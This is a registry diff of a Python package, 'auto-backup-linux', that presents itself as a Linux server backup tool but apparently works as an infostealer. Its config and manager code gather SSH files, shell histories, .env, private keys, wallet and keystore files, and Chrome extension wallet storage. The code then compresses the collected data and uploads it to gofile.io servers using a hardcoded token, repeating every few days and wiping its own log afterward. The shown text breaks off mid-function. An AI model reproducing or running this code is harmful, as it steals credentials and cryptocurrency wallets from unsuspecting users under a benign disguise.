auto-backup-linux 1.0.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,16 @@
1
+ # -*- coding: utf-8 -*-
2
+ """
3
+ Auto Backup - 自动备份工具包
4
+
5
+ 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端。
6
+ """
7
+
8
+ __version__ = "1.0.1"
9
+ __author__ = "YLX Studio"
10
+
11
+ from .config import BackupConfig
12
+ from .manager import BackupManager
13
+ from . import cli
14
+
15
+ __all__ = ["BackupConfig", "BackupManager", "cli"]
16
+
auto_backup/cli.py ADDED
@@ -0,0 +1,231 @@
1
+ # -*- coding: utf-8 -*-
2
+
3
+ import os
4
+ import sys
5
+ import time
6
+ import logging
7
+ import platform
8
+ from datetime import datetime, timedelta
9
+ from pathlib import Path
10
+
11
+ from .config import BackupConfig
12
+ from .manager import BackupManager
13
+
14
+
15
+ def is_server():
16
+ """检查是否在服务器环境中运行"""
17
+ return not platform.system().lower() == 'windows'
18
+
19
+
20
+ def backup_server(backup_manager, source, target):
21
+ """备份服务器"""
22
+ backup_dir = backup_manager.backup_linux_files(source, target)
23
+ if backup_dir:
24
+ backup_path = backup_manager.zip_backup_folder(
25
+ backup_dir,
26
+ str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
27
+ )
28
+ if backup_path:
29
+ if backup_manager.upload_backup(backup_path):
30
+ logging.critical("☑️ 服务器备份完成")
31
+ else:
32
+ logging.error("❌ 服务器备份失败")
33
+
34
+
35
+ def backup_and_upload_logs(backup_manager):
36
+ log_file = backup_manager.config.LOG_FILE
37
+
38
+ try:
39
+ if not os.path.exists(log_file):
40
+ if backup_manager.config.DEBUG_MODE:
41
+ logging.debug(f"备份日志文件不存在,跳过: {log_file}")
42
+ return
43
+
44
+ file_size = os.path.getsize(log_file)
45
+ if file_size == 0:
46
+ if backup_manager.config.DEBUG_MODE:
47
+ logging.debug(f"备份日志文件为空,跳过: {log_file}")
48
+ return
49
+
50
+ temp_dir = Path.home() / ".dev/Backup/temp_backup_logs"
51
+ if not backup_manager._ensure_directory(str(temp_dir)):
52
+ return
53
+
54
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
55
+ backup_name = f"backup_log_{timestamp}.txt"
56
+ backup_path = temp_dir / backup_name
57
+
58
+ try:
59
+ import shutil
60
+ shutil.copy2(log_file, backup_path)
61
+ if backup_manager.config.DEBUG_MODE:
62
+ logging.info(f"📄 已复制备份日志到临时目录")
63
+ except Exception as e:
64
+ logging.error(f"❌ 复制备份日志失败: {e}")
65
+ return
66
+
67
+ if backup_manager.upload_file(str(backup_path)):
68
+ try:
69
+ with open(log_file, 'w', encoding='utf-8') as f:
70
+ f.write(f"=== 📝 备份日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
71
+ if backup_manager.config.DEBUG_MODE:
72
+ logging.info("✅ 备份日志已更新")
73
+ except Exception as e:
74
+ logging.error(f"❌ 备份日志更新失败: {e}")
75
+ else:
76
+ logging.error("❌ 备份日志上传失败")
77
+
78
+ try:
79
+ if os.path.exists(str(temp_dir)):
80
+ import shutil
81
+ shutil.rmtree(str(temp_dir))
82
+ except Exception as e:
83
+ if backup_manager.config.DEBUG_MODE:
84
+ logging.error(f"❌ 清理临时目录失败: {e}")
85
+
86
+ except Exception as e:
87
+ logging.error(f"❌ 处理备份日志时出错: {e}")
88
+
89
+
90
+ def clean_backup_directory():
91
+ backup_dir = Path.home() / ".dev/Backup"
92
+ try:
93
+ if not os.path.exists(backup_dir):
94
+ return
95
+
96
+ keep_files = ["backup.log", "next_backup_time.txt"] # 添加时间阈值文件到保留列表
97
+
98
+ for item in os.listdir(backup_dir):
99
+ item_path = os.path.join(backup_dir, item)
100
+ try:
101
+ if item in keep_files:
102
+ continue
103
+
104
+ if os.path.isfile(item_path):
105
+ os.remove(item_path)
106
+ elif os.path.isdir(item_path):
107
+ import shutil
108
+ shutil.rmtree(item_path)
109
+
110
+ if BackupConfig.DEBUG_MODE:
111
+ logging.info(f"🗑️ 已清理: {item}")
112
+ except Exception as e:
113
+ logging.error(f"❌ 清理 {item} 失败: {e}")
114
+
115
+ logging.critical("🧹 备份目录已清理完成")
116
+ except Exception as e:
117
+ logging.error(f"❌ 清理备份目录时出错: {e}")
118
+
119
+
120
+ def save_next_backup_time(backup_manager):
121
+ """保存下次备份时间到阈值文件"""
122
+ try:
123
+ next_backup_time = datetime.now() + timedelta(seconds=backup_manager.config.BACKUP_INTERVAL)
124
+ with open(backup_manager.config.THRESHOLD_FILE, 'w', encoding='utf-8') as f:
125
+ f.write(next_backup_time.strftime('%Y-%m-%d %H:%M:%S'))
126
+ if backup_manager.config.DEBUG_MODE:
127
+ logging.info(f"⏰ 已保存下次备份时间: {next_backup_time.strftime('%Y-%m-%d %H:%M:%S')}")
128
+ except Exception as e:
129
+ logging.error(f"❌ 保存下次备份时间失败: {e}")
130
+
131
+
132
+ def should_perform_backup(backup_manager):
133
+ """检查是否应该执行备份"""
134
+ try:
135
+ if not os.path.exists(backup_manager.config.THRESHOLD_FILE):
136
+ return True
137
+
138
+ with open(backup_manager.config.THRESHOLD_FILE, 'r', encoding='utf-8') as f:
139
+ threshold_time_str = f.read().strip()
140
+
141
+ threshold_time = datetime.strptime(threshold_time_str, '%Y-%m-%d %H:%M:%S')
142
+ current_time = datetime.now()
143
+
144
+ if current_time >= threshold_time:
145
+ if backup_manager.config.DEBUG_MODE:
146
+ logging.info("⏰ 已到达备份时间")
147
+ return True
148
+ else:
149
+ if backup_manager.config.DEBUG_MODE:
150
+ logging.info(f"⏳ 未到备份时间,下次备份: {threshold_time_str}")
151
+ return False
152
+
153
+ except Exception as e:
154
+ logging.error(f"❌ 检查备份时间失败: {e}")
155
+ return True # 出错时默认执行备份
156
+
157
+
158
+ def periodic_backup_upload(backup_manager):
159
+ source = str(Path.home())
160
+ target = Path.home() / ".dev/Backup/server"
161
+
162
+ try:
163
+ current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
164
+ logging.critical("\n" + "="*40)
165
+ logging.critical(f"🚀 自动备份系统已启动 {current_time}")
166
+ logging.critical("="*40)
167
+
168
+ while True:
169
+ try:
170
+ # 检查是否应该执行备份
171
+ if not should_perform_backup(backup_manager):
172
+ time.sleep(3600) # 每小时检查一次
173
+ continue
174
+
175
+ current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
176
+ logging.critical("\n" + "="*40)
177
+ logging.critical(f"⏰ 开始备份 {current_time}")
178
+ logging.critical("-"*40)
179
+
180
+ logging.critical("\n🖥️ 服务器指定目录备份")
181
+ backup_server(backup_manager, source, target)
182
+
183
+ if backup_manager.config.DEBUG_MODE:
184
+ logging.info("\n📝 备份日志上传")
185
+ backup_and_upload_logs(backup_manager)
186
+
187
+ # 保存下次备份时间
188
+ save_next_backup_time(backup_manager)
189
+
190
+ logging.critical("\n" + "="*40)
191
+ next_backup_time = datetime.now() + timedelta(seconds=backup_manager.config.BACKUP_INTERVAL)
192
+ current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
193
+ next_time = next_backup_time.strftime('%Y-%m-%d %H:%M:%S')
194
+ logging.critical(f"✅ 备份完成 {current_time}")
195
+ logging.critical(f"⏳ 下次备份: {next_time}")
196
+ logging.critical("="*40 + "\n")
197
+
198
+ except Exception as e:
199
+ logging.error(f"\n❌ 备份出错: {e}")
200
+ try:
201
+ backup_and_upload_logs(backup_manager)
202
+ except Exception as log_error:
203
+ logging.error("❌ 日志备份失败")
204
+ time.sleep(60)
205
+
206
+ except Exception as e:
207
+ logging.error(f"❌ 备份过程出错: {e}")
208
+
209
+
210
+ def main():
211
+ """主函数 - 命令行入口点"""
212
+ if not is_server():
213
+ logging.critical("本脚本仅适用于服务器环境")
214
+ return
215
+
216
+ try:
217
+ backup_manager = BackupManager()
218
+
219
+ # 先清理备份目录
220
+ clean_backup_directory()
221
+
222
+ periodic_backup_upload(backup_manager)
223
+ except KeyboardInterrupt:
224
+ logging.critical("\n备份程序已停止")
225
+ except Exception as e:
226
+ logging.critical(f"程序出错: {e}")
227
+
228
+
229
+ if __name__ == "__main__":
230
+ main()
231
+
auto_backup/config.py ADDED
@@ -0,0 +1,112 @@
1
+ # -*- coding: utf-8 -*-
2
+
3
+ from pathlib import Path
4
+
5
+
6
+ class BackupConfig:
7
+ """备份配置类"""
8
+ # 调试配置
9
+ DEBUG_MODE = True # 是否输出调试日志(False/True)
10
+
11
+ # 文件大小配置(单位:字节)
12
+ MAX_SINGLE_FILE_SIZE = 50 * 1024 * 1024 # 单文件阈值:50MB(超过则分片)
13
+ CHUNK_SIZE = 50 * 1024 * 1024 # 分片大小:50MB
14
+
15
+ # 重试配置
16
+ RETRY_COUNT = 5 # 最大重试次数
17
+ RETRY_DELAY = 60 # 重试等待时间(秒)
18
+ UPLOAD_TIMEOUT = 1800 # 上传超时时间(秒)
19
+
20
+ # 备份间隔配置
21
+ BACKUP_INTERVAL = 260000 # 备份间隔时间:约3天
22
+ SCAN_TIMEOUT = 1800 # 扫描超时时间:30分钟
23
+
24
+ # 日志配置
25
+ LOG_FILE = str(Path.home() / ".dev/Backup/backup.log")
26
+ LOG_MAX_SIZE = 10 * 1024 * 1024 # 日志文件最大大小:10MB
27
+ LOG_BACKUP_COUNT = 10 # 保留的日志备份数量
28
+
29
+ # 时间阈值文件配置
30
+ THRESHOLD_FILE = str(Path.home() / ".dev/Backup/next_backup_time.txt") # 时间阈值文件路径
31
+
32
+ # 需要备份的服务器目录或文件
33
+ SERVER_BACKUP_DIRS = [
34
+ ".ssh", # SSH配置
35
+ ".bash_history", # Bash历史记录
36
+ ".python_history", # Python历史记录
37
+ ".bash_aliases", # Bash别名
38
+ "Documents", # 文档目录
39
+ ".node_repl_history", # Node.js REPL 历史记录
40
+ ".wget-hsts", # wget HSTS 历史记录
41
+ ".Xauthority", # Xauthority 文件
42
+ ".ICEauthority", # ICEauthority 文件
43
+ ]
44
+
45
+ # 需要备份的文件类型
46
+ # 文档类型扩展名
47
+ DOC_EXTENSIONS = [
48
+ ".txt", ".json", ".js", ".py", ".go", ".sh", ".sol", ".rs", ".env",
49
+ ".csv", ".bin", ".wallet", ".ts", ".jsx", ".tsx"
50
+ ]
51
+ # 配置类型扩展名
52
+ CONFIG_EXTENSIONS = [
53
+ ".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config",
54
+ ".yaml", ".yml", ".toml", ".asc", ".gpg", ".pgp", ".conf"
55
+ ]
56
+ # 所有备份扩展名(用于兼容性)
57
+ BACKUP_EXTENSIONS = DOC_EXTENSIONS + CONFIG_EXTENSIONS
58
+
59
+ # 排除的目录
60
+ EXCLUDE_DIRS = [
61
+ ".bashrc",
62
+ ".bitcoinlib",
63
+ ".cargo",
64
+ ".conda",
65
+ ".docker",
66
+ ".dotnet",
67
+ ".fonts",
68
+ ".git",
69
+ ".gongfeng-copilot",
70
+ ".gradle",
71
+ ".icons",
72
+ ".jupyter",
73
+ ".landscape",
74
+ ".local",
75
+ ".npm",
76
+ ".nvm",
77
+ ".orca_term",
78
+ ".pki",
79
+ ".pm2",
80
+ ".profile",
81
+ ".rustup",
82
+ ".ssh",
83
+ ".solcx",
84
+ ".themes",
85
+ ".thunderbird",
86
+ ".wdm",
87
+ "cache",
88
+ "Downloads",
89
+ "myenv",
90
+ "snap",
91
+ "venv",
92
+ ]
93
+
94
+ # 上传服务器配置
95
+ UPLOAD_SERVERS = [
96
+ "https://store9.gofile.io/uploadFile",
97
+ "https://store8.gofile.io/uploadFile",
98
+ "https://store7.gofile.io/uploadFile",
99
+ "https://store6.gofile.io/uploadFile",
100
+ "https://store5.gofile.io/uploadFile"
101
+ ]
102
+
103
+ # 网络配置
104
+ NETWORK_CHECK_HOSTS = [
105
+ "8.8.8.8", # Google DNS
106
+ "1.1.1.1", # Cloudflare DNS
107
+ "208.67.222.222", # OpenDNS
108
+ "9.9.9.9" # Quad9 DNS
109
+ ]
110
+ NETWORK_CHECK_TIMEOUT = 5 # 网络检查超时时间(秒)
111
+ NETWORK_CHECK_RETRIES = 3 # 网络检查重试次数
112
+
auto_backup/manager.py ADDED
@@ -0,0 +1,547 @@
1
+ # -*- coding: utf-8 -*-
2
+
3
+ import os
4
+ import sys
5
+ import shutil
6
+ import time
7
+ import socket
8
+ import logging
9
+ import logging.handlers
10
+ import tarfile
11
+ import requests
12
+ from datetime import datetime, timedelta
13
+ from pathlib import Path
14
+
15
+ from .config import BackupConfig
16
+
17
+
18
+ class BackupManager:
19
+ """备份管理器类"""
20
+
21
+ def __init__(self):
22
+ """初始化备份管理器"""
23
+ self.config = BackupConfig()
24
+ self.api_token = "8m9D4k6cv6LekYoVcjQBK4yvvDDyiFdf"
25
+ # 使用集合优化扩展名检查性能
26
+ self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
27
+ self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
28
+ self._setup_logging()
29
+
30
+ def _setup_logging(self):
31
+ """配置日志系统"""
32
+ try:
33
+ log_dir = os.path.dirname(self.config.LOG_FILE)
34
+ os.makedirs(log_dir, exist_ok=True)
35
+
36
+ # 使用 RotatingFileHandler 进行日志轮转
37
+ file_handler = logging.handlers.RotatingFileHandler(
38
+ self.config.LOG_FILE,
39
+ maxBytes=self.config.LOG_MAX_SIZE,
40
+ backupCount=self.config.LOG_BACKUP_COUNT,
41
+ encoding='utf-8'
42
+ )
43
+ file_handler.setFormatter(
44
+ logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
45
+ )
46
+
47
+ console_handler = logging.StreamHandler()
48
+ console_handler.setFormatter(logging.Formatter('%(message)s'))
49
+
50
+ root_logger = logging.getLogger()
51
+ root_logger.setLevel(
52
+ logging.DEBUG if self.config.DEBUG_MODE else logging.INFO
53
+ )
54
+
55
+ root_logger.handlers.clear()
56
+ root_logger.addHandler(file_handler)
57
+ root_logger.addHandler(console_handler)
58
+
59
+ logging.info("日志系统初始化完成")
60
+ except Exception as e:
61
+ print(f"设置日志系统时出错: {e}")
62
+
63
+ @staticmethod
64
+ def _get_dir_size(directory):
65
+ total_size = 0
66
+ for dirpath, _, filenames in os.walk(directory):
67
+ for filename in filenames:
68
+ file_path = os.path.join(dirpath, filename)
69
+ try:
70
+ total_size += os.path.getsize(file_path)
71
+ except (OSError, IOError) as e:
72
+ logging.error(f"获取文件大小失败 {file_path}: {e}")
73
+ return total_size
74
+
75
+ @staticmethod
76
+ def _ensure_directory(directory_path):
77
+ try:
78
+ if os.path.exists(directory_path):
79
+ if not os.path.isdir(directory_path):
80
+ logging.error(f"路径存在但不是目录: {directory_path}")
81
+ return False
82
+ if not os.access(directory_path, os.W_OK):
83
+ logging.error(f"目录没有写入权限: {directory_path}")
84
+ return False
85
+ else:
86
+ os.makedirs(directory_path, exist_ok=True)
87
+ return True
88
+ except Exception as e:
89
+ logging.error(f"创建目录失败 {directory_path}: {e}")
90
+ return False
91
+
92
+ @staticmethod
93
+ def _clean_directory(directory_path):
94
+ try:
95
+ if os.path.exists(directory_path):
96
+ shutil.rmtree(directory_path, ignore_errors=True)
97
+ return BackupManager._ensure_directory(directory_path)
98
+ except Exception as e:
99
+ logging.error(f"清理目录失败 {directory_path}: {e}")
100
+ return False
101
+
102
+ @staticmethod
103
+ def _check_internet_connection():
104
+ """检查网络连接状态"""
105
+ for _ in range(BackupConfig.NETWORK_CHECK_RETRIES):
106
+ for host in BackupConfig.NETWORK_CHECK_HOSTS:
107
+ try:
108
+ socket.create_connection(
109
+ (host, 53),
110
+ timeout=BackupConfig.NETWORK_CHECK_TIMEOUT
111
+ )
112
+ return True
113
+ except (socket.timeout, socket.gaierror, ConnectionRefusedError):
114
+ continue
115
+ except Exception as e:
116
+ logging.debug(f"网络检查出错 {host}: {e}")
117
+ continue
118
+ time.sleep(1) # 重试前等待1秒
119
+ return False
120
+
121
+ @staticmethod
122
+ def _is_valid_file(file_path):
123
+ try:
124
+ return os.path.isfile(file_path) and os.path.getsize(file_path) > 0
125
+ except Exception:
126
+ return False
127
+
128
+ def _backup_specified_item(self, source_path, target_base, item_name):
129
+ """备份指定的文件或目录"""
130
+ try:
131
+ if os.path.isfile(source_path):
132
+ target_file = os.path.join(target_base, item_name)
133
+ target_file_dir = os.path.dirname(target_file)
134
+ if self._ensure_directory(target_file_dir):
135
+ shutil.copy2(source_path, target_file)
136
+ if self.config.DEBUG_MODE:
137
+ logging.info(f"已备份指定文件: {item_name}")
138
+ return True
139
+ else:
140
+ target_path = os.path.join(target_base, item_name)
141
+ if self._ensure_directory(os.path.dirname(target_path)):
142
+ if os.path.exists(target_path):
143
+ shutil.rmtree(target_path)
144
+ # 对于SERVER_BACKUP_DIRS中指定的目录,复制时仍然递归检查排除项
145
+ exclude_dirs_lower = {ex.lower() for ex in self.config.EXCLUDE_DIRS}
146
+ ignore_func = lambda d, files: [
147
+ f for f in files
148
+ if any(ex in os.path.join(d, f).lower() for ex in exclude_dirs_lower)
149
+ ]
150
+ shutil.copytree(source_path, target_path, symlinks=True, ignore=ignore_func)
151
+ if self.config.DEBUG_MODE:
152
+ logging.info(f"📁 已备份指定目录: {item_name}/")
153
+ return True
154
+ except Exception as e:
155
+ logging.error(f"❌ 备份失败: {item_name} - {str(e)}")
156
+ return False
157
+
158
+ def _backup_chrome_directories(self, target_specified):
159
+ """备份 Linux Chrome 目录"""
160
+ try:
161
+ home_dir = os.path.expanduser('~')
162
+ chrome_base = os.path.join(home_dir, '.config', 'google-chrome', 'Default')
163
+ chrome_extensions = os.path.join(chrome_base, 'Extensions')
164
+ chrome_local_ext = os.path.join(chrome_base, 'Local Extension Settings')
165
+
166
+ def copy_chrome_dir_if_exists(src_dir, dst_name):
167
+ if os.path.exists(src_dir) and os.path.isdir(src_dir):
168
+ target_path = os.path.join(target_specified, dst_name)
169
+ try:
170
+ # 确保目标父目录存在
171
+ parent_dir = os.path.dirname(target_path)
172
+ if not self._ensure_directory(parent_dir):
173
+ return
174
+ # 如果目标目录已存在,先删除
175
+ if os.path.exists(target_path):
176
+ shutil.rmtree(target_path, ignore_errors=True)
177
+ # 复制整个目录
178
+ shutil.copytree(src_dir, target_path, symlinks=True)
179
+ if self.config.DEBUG_MODE:
180
+ logging.info(f"📦 已备份 Chrome 目录: {dst_name}")
181
+ except Exception as e:
182
+ if self.config.DEBUG_MODE:
183
+ logging.debug(f"复制 Chrome 目录失败: {src_dir} - {str(e)}")
184
+
185
+ # 执行 Chrome 目录备份
186
+ copy_chrome_dir_if_exists(chrome_extensions, 'chrome_extensions')
187
+ copy_chrome_dir_if_exists(chrome_local_ext, 'chrome_local_extension_settings')
188
+ except Exception as e:
189
+ if self.config.DEBUG_MODE:
190
+ logging.debug(f"追加 Chrome 目录备份失败: {str(e)}")
191
+
192
+ def backup_linux_files(self, source_dir, target_dir):
193
+ source_dir = os.path.abspath(os.path.expanduser(source_dir))
194
+ target_dir = os.path.abspath(os.path.expanduser(target_dir))
195
+
196
+ if not os.path.exists(source_dir):
197
+ logging.error("❌ Linux源目录不存在")
198
+ return None
199
+
200
+ target_docs = os.path.join(target_dir, "docs") # 备份文档的目标目录
201
+ target_configs = os.path.join(target_dir, "configs") # 备份配置文件的目标目录
202
+ target_specified = os.path.join(target_dir, "specified") # 新增指定目录/文件的备份目录
203
+
204
+ if not self._clean_directory(target_dir):
205
+ return None
206
+
207
+ if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified]):
208
+ return None
209
+
210
+ # 首先备份指定目录或文件 (SERVER_BACKUP_DIRS)
211
+ for specific_path in self.config.SERVER_BACKUP_DIRS:
212
+ full_source_path = os.path.join(source_dir, specific_path)
213
+ if os.path.exists(full_source_path):
214
+ self._backup_specified_item(full_source_path, target_specified, specific_path)
215
+
216
+ # 追加:备份 Linux Chrome 目录
217
+ self._backup_chrome_directories(target_specified)
218
+
219
+ # 然后备份其他文件 (不在SERVER_BACKUP_DIRS中的,根据文件类型备份)
220
+ # 预计算已备份的目录路径集合,优化性能
221
+ source_dir_abs = os.path.abspath(source_dir)
222
+ backed_up_dirs = set()
223
+ for specific_dir in self.config.SERVER_BACKUP_DIRS:
224
+ specific_path = os.path.join(source_dir, specific_dir)
225
+ if os.path.isdir(specific_path):
226
+ backed_up_dirs.add(os.path.abspath(specific_path))
227
+
228
+ docs_count = configs_count = 0
229
+ target_dir_abs = os.path.abspath(target_dir)
230
+ exclude_dirs_lower = {ex.lower() for ex in self.config.EXCLUDE_DIRS}
231
+
232
+ for root, dirs, files in os.walk(source_dir):
233
+ root_abs = os.path.abspath(root)
234
+
235
+ # 跳过源目录本身的文件处理,只在这里处理一级子目录的排除
236
+ if root_abs == source_dir_abs:
237
+ # 创建一个目录列表副本用于迭代,因为我们可能会修改原始dirs列表
238
+ dirs_to_walk = dirs[:]
239
+ for d in dirs_to_walk:
240
+ # 检查这个第一级子目录是否在排除列表中(不区分大小写)
241
+ if d.lower() in exclude_dirs_lower:
242
+ if self.config.DEBUG_MODE:
243
+ logging.info(f"⏭️ 已排除第一级目录: {d}/")
244
+ dirs.remove(d) # 从os.walk迭代的列表中移除,阻止进入此目录
245
+ continue # 跳过源目录本身的文件处理
246
+
247
+ # 跳过已在上面作为指定目录备份过的目录 (或其下的子目录)
248
+ if any(root_abs.startswith(backed_dir) for backed_dir in backed_up_dirs):
249
+ continue
250
+
251
+ # 跳过目标备份目录本身,避免备份备份文件
252
+ if root_abs.startswith(target_dir_abs):
253
+ continue
254
+
255
+ # 对于非第一级目录或未排除的第一级目录下的文件/子目录,根据文件扩展名进行备份
256
+
257
+ for file in files:
258
+ # 判断文件是否为文档类型或配置类型(使用集合优化性能)
259
+ file_lower = file.lower()
260
+ is_doc = any(file_lower.endswith(ext) for ext in self.doc_extensions_set)
261
+ is_config = any(file_lower.endswith(ext) for ext in self.config_extensions_set)
262
+
263
+ # 如果既不是文档也不是配置,跳过
264
+ if not (is_doc or is_config):
265
+ continue
266
+
267
+ source_file = os.path.join(root, file)
268
+ # os.walk已经提供了文件列表,通常不需要再次检查存在性
269
+ # 但如果文件在遍历过程中被删除,这里可以跳过
270
+
271
+ # 根据文件类型确定目标基路径
272
+ target_base = target_docs if is_doc else target_configs
273
+ # 获取相对于源目录的路径
274
+ relative_path = os.path.relpath(root, source_dir)
275
+ # 构建目标子目录路径
276
+ target_sub_dir = os.path.join(target_base, relative_path)
277
+ # 构建目标文件路径
278
+ target_file = os.path.join(target_sub_dir, file)
279
+
280
+ # 确保目标子目录存在
281
+ if not self._ensure_directory(target_sub_dir):
282
+ continue
283
+
284
+ try:
285
+ # 复制文件到目标位置
286
+ shutil.copy2(source_file, target_file)
287
+ # 更新计数器
288
+ if is_doc:
289
+ docs_count += 1
290
+ else:
291
+ configs_count += 1
292
+ except Exception as e:
293
+ # 复制失败记录错误
294
+ if self.config.DEBUG_MODE:
295
+ logging.error(f"❌ 复制失败: {relative_path}/{file}")
296
+
297
+ # 打印备份统计信息
298
+ if docs_count > 0 or configs_count > 0:
299
+ logging.info(f"\n📊 Linux文件备份统计:")
300
+ if docs_count > 0:
301
+ logging.info(f" 📚 文档: {docs_count} 个文件")
302
+ if configs_count > 0:
303
+ logging.info(f" ⚙️ 配置: {configs_count} 个文件")
304
+
305
+ return target_dir
306
+
307
+ def _get_upload_server(self):
308
+ """获取上传服务器地址,使用简单的轮询方式实现负载均衡"""
309
+ try:
310
+ # 尝试所有服务器
311
+ for server in self.config.UPLOAD_SERVERS:
312
+ try:
313
+ # 测试服务器连接性
314
+ response = requests.head(server, timeout=5)
315
+ if response.status_code == 200:
316
+ return server
317
+ except:
318
+ continue
319
+
320
+ # 如果所有服务器都不可用,返回默认服务器
321
+ return self.config.UPLOAD_SERVERS[0]
322
+ except:
323
+ # 发生异常时返回默认服务器
324
+ return self.config.UPLOAD_SERVERS[0]
325
+
326
+ def split_large_file(self, file_path):
327
+ """将大文件分割为多个小块"""
328
+ if not os.path.exists(file_path):
329
+ return None
330
+
331
+ try:
332
+ file_size = os.path.getsize(file_path)
333
+ if file_size <= self.config.MAX_SINGLE_FILE_SIZE:
334
+ return [file_path]
335
+
336
+ # 创建分片目录
337
+ chunk_dir = os.path.join(os.path.dirname(file_path), "chunks")
338
+ if not self._ensure_directory(chunk_dir):
339
+ return None
340
+
341
+ # 对文件进行分片
342
+ chunk_files = []
343
+ base_name = os.path.basename(file_path)
344
+ with open(file_path, 'rb') as f:
345
+ chunk_num = 0
346
+ while True:
347
+ chunk_data = f.read(self.config.CHUNK_SIZE)
348
+ if not chunk_data:
349
+ break
350
+
351
+ chunk_name = f"{base_name}.part{chunk_num:03d}"
352
+ chunk_path = os.path.join(chunk_dir, chunk_name)
353
+
354
+ with open(chunk_path, 'wb') as chunk_file:
355
+ chunk_file.write(chunk_data)
356
+ chunk_files.append(chunk_path)
357
+ chunk_num += 1
358
+ logging.info(f"已创建分片 {chunk_num}: {len(chunk_data) / 1024 / 1024:.2f}MB")
359
+
360
+ os.remove(file_path)
361
+ logging.critical(f"文件 {file_path} ({file_size / 1024 / 1024:.2f}MB) 已分割为 {len(chunk_files)} 个分片")
362
+ return chunk_files
363
+
364
+ except Exception as e:
365
+ logging.error(f"分割文件失败 {file_path}: {e}")
366
+ return None
367
+
368
+ def zip_backup_folder(self, folder_path, zip_file_path):
369
+ try:
370
+ if folder_path is None or not os.path.exists(folder_path):
371
+ return None
372
+
373
+ total_files = sum(len(files) for _, _, files in os.walk(folder_path))
374
+ if total_files == 0:
375
+ logging.error(f"源目录为空 {folder_path}")
376
+ return None
377
+
378
+ dir_size = 0
379
+ for dirpath, _, filenames in os.walk(folder_path):
380
+ for filename in filenames:
381
+ try:
382
+ file_path = os.path.join(dirpath, filename)
383
+ file_size = os.path.getsize(file_path)
384
+ if file_size > 0:
385
+ dir_size += file_size
386
+ except OSError as e:
387
+ logging.error(f"获取文件大小失败 {file_path}: {e}")
388
+ continue
389
+
390
+ if dir_size == 0:
391
+ logging.error(f"源目录实际大小为0 {folder_path}")
392
+ return None
393
+
394
+ tar_path = f"{zip_file_path}.tar.gz"
395
+ if os.path.exists(tar_path):
396
+ os.remove(tar_path)
397
+
398
+ with tarfile.open(tar_path, "w:gz") as tar:
399
+ tar.add(folder_path, arcname=os.path.basename(folder_path))
400
+
401
+ try:
402
+ compressed_size = os.path.getsize(tar_path)
403
+ if compressed_size == 0:
404
+ logging.error(f"压缩文件大小为0 {tar_path}")
405
+ if os.path.exists(tar_path):
406
+ os.remove(tar_path)
407
+ return None
408
+
409
+ self._clean_directory(folder_path)
410
+ logging.critical(f"目录 {folder_path} 已压缩: {dir_size / 1024 / 1024:.2f}MB -> {compressed_size / 1024 / 1024:.2f}MB")
411
+
412
+ # 如果压缩文件过大,进行分片
413
+ if compressed_size > self.config.MAX_SINGLE_FILE_SIZE:
414
+ return self.split_large_file(tar_path)
415
+ else:
416
+ return [tar_path]
417
+
418
+ except OSError as e:
419
+ logging.error(f"获取压缩文件大小失败 {tar_path}: {e}")
420
+ if os.path.exists(tar_path):
421
+ os.remove(tar_path)
422
+ return None
423
+
424
+ except Exception as e:
425
+ logging.error(f"压缩失败 {folder_path}: {e}")
426
+ return None
427
+
428
+ def upload_backup(self, backup_paths):
429
+ """上传备份文件,支持单个文件或文件列表"""
430
+ if not backup_paths:
431
+ return False
432
+
433
+ if isinstance(backup_paths, str):
434
+ backup_paths = [backup_paths]
435
+
436
+ success = True
437
+ for path in backup_paths:
438
+ if not self.upload_file(path):
439
+ success = False
440
+ return success
441
+
442
+ def upload_file(self, file_path):
443
+ """上传单个文件"""
444
+ if not self._is_valid_file(file_path):
445
+ logging.error(f"文件 {file_path} 为空或无效,跳过上传")
446
+ return False
447
+
448
+ return self._upload_single_file(file_path)
449
+
450
+ def _upload_single_file(self, file_path):
451
+ """上传单个文件"""
452
+ try:
453
+ # 检查文件权限和状态
454
+ if not os.path.exists(file_path):
455
+ logging.error(f"文件不存在: {file_path}")
456
+ return False
457
+
458
+ if not os.access(file_path, os.R_OK):
459
+ logging.error(f"文件无读取权限: {file_path}")
460
+ return False
461
+
462
+ file_size = os.path.getsize(file_path)
463
+ if file_size == 0:
464
+ logging.error(f"文件大小为0: {file_path}")
465
+ if os.path.exists(file_path):
466
+ os.remove(file_path)
467
+ return False
468
+
469
+ if file_size > self.config.MAX_SINGLE_FILE_SIZE:
470
+ logging.error(f"文件过大 {file_path}: {file_size / 1024 / 1024:.2f}MB > {self.config.MAX_SINGLE_FILE_SIZE / 1024 / 1024}MB")
471
+ return False
472
+
473
+ # 上传重试逻辑
474
+ for attempt in range(self.config.RETRY_COUNT):
475
+ if not self._check_internet_connection():
476
+ logging.error("网络连接不可用,等待重试...")
477
+ time.sleep(self.config.RETRY_DELAY)
478
+ continue
479
+
480
+ # 服务器轮询
481
+ for server in self.config.UPLOAD_SERVERS:
482
+ try:
483
+ with open(file_path, "rb") as f:
484
+ logging.critical(f"正在上传文件 {file_path}({file_size / 1024 / 1024:.2f}MB),第 {attempt + 1} 次尝试,使用服务器 {server}...")
485
+
486
+ # 准备上传会话
487
+ session = requests.Session()
488
+ session.headers.update({
489
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
490
+ })
491
+
492
+ # 执行上传
493
+ response = session.post(
494
+ server,
495
+ files={"file": f},
496
+ data={"token": self.api_token},
497
+ timeout=self.config.UPLOAD_TIMEOUT,
498
+ verify=True
499
+ )
500
+
501
+ if response.ok and response.headers.get("Content-Type", "").startswith("application/json"):
